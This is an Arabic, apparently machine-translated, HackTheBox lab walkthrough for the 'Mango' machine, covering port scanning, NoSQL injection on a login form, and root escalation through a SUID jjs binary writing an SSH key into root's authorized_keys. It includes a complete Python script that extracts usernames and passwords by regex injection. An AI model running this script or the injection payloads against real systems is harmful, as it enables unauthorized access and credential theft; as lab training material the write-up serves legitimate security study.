HackTheBox. تجول مانجو. حقن NoSQL و LPE عبر JJS

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .

في هذه المقالة ، نستغل حقن NoSQL في شكل تفويض ، ونزيد أيضًا الامتيازات من خلال JJS.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.162 ، والذي أضيفه إلى / etc / hosts.

10.10.10.162    mango.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

صورة

الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.

nmap -A mango.htb -p22,80,443

صورة

بادئ ذي بدء ، دعنا نذهب لمشاهدة الموقع. عند الوصول إلى mango.htb ، يرموننا من http إلى https ويتحدثون عن مشكلة في الشهادة. إذا وافقت على المخاطر ، يمكنك مشاهدة هذه الصفحة.

صورة

ولكن لا شيء أكثر إثارة للاهتمام. يعرض فحص nmap معلومات شهادة ssl حيث يتم تحديد المجال. أضفه إلى / etc / hosts.
10.10.10.162 staging-order.mango.htb
ودعنا نذهب لنرى ما هو موجود.

صورة

هناك استمارة تفويض - نقطة دخول محتملة.

نقطة الدخول


نحاول العديد من تقنيات الحقن لتجاوز التفويض. ونجد حقن NoSql القياسي بمقارنة رد الفعل لشرطين: تسجيل الدخول هو 123 ، كلمة المرور 123 و تسجيل الدخول ليس 123 ، كلمة المرور ليست 123.

صورة

وبعد النتيجة الحقيقية الناجحة للشرط الثاني ، نحصل على إعادة توجيه إلى home.php. وبالتالي ، يمكن حقن NoSql.

صورة

نظرًا لعدم وجود أي شيء مثير للاهتمام على الصفحة ، فإن الشيء الوحيد الذي يمكننا أخذه من هذه الثغرة الأمنية هو تسجيلات الدخول وكلمات المرور.

المستعمل


دعونا نرى أطوال الحد الأقصى لأسماء المستخدمين وكلمات المرور. للقيام بذلك ، يمكنك استخدام البنيات التالية:
تسجيل الدخول [$ regex] =. {Length} & password [$ ne] = 123 - لتسجيل الدخول (تتم مقارنة التعبير العادي لتسجيل الدخول وكلمة المرور غير صالحة) ؛
تسجيل الدخول [$ ne] = 123 ؛ كلمة المرور [$ regex] =. {length} لكلمة المرور.

دعنا نفعل ذلك مع الدخيل التجشؤ.

صورة

صورة

صورة

وبالتالي ، يبلغ طول أطول تسجيل دخول 5 أحرف. بعد القيام بنفس العمليات لكلمة المرور ، اكتشفنا أن طول الأطول هو 16 حرفًا.

صورة

نظرًا لأنه طويل جدًا بحيث لا يمكن ترتيبه بيديك ، سنكتب نصًا ثعبانيًا. أولا ، سنعقد جلسة للعمل.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []


بعد ذلك ، ننفذ وظيفة لتعداد عمليات تسجيل الدخول. سيتم إجراء التكرار باستخدام التعبير العادي التالي ^ name. * - بهذه الطريقة سوف نقوم بتمديد حرف واحد في كل مرة.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)


ووظيفة مماثلة ، فقط باستخدام تسجيل الدخول الموجود.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))


الكود الكامل:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]


ونتيجة لذلك ، نجد أوراق اعتماد اثنين من المستخدمين.

صورة

تم توصيل بيانات الاعتماد بنجاح عبر SSH.

صورة

لدينا كلمة مرور من المستخدم الثاني ، لكنها لا تسمح بتسجيل الدخول عبر SSH. نحن نحاول تغيير المستخدم محليًا عن طريق إدخال كلمة المرور التي نعرفها.

صورة

جذر


دعونا ننفذ التعداد الأساسي باستخدام البرنامج النصي LinEnum .

صورة

ونجد البرنامج مع مجموعة S-bit.

صورة

التحقق من JJS على سبيل المثال GTFOBins .

صورة

هناك أيضا أمثلة على العملية. استدعاء شل المحلي لا يعمل. ولكن يمكنك إنشاء مفاتيح ssh ، والكتابة العامة في /root/.ssh/authorized_keys والاتصال باستخدام خاص.

صورة

دعونا نحسب المفتاح العام.

صورة

والآن اكتبها.

صورة

وربط الآن كجذر.

صورة

يمكنك الانضمام إلينا على Telegram. هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles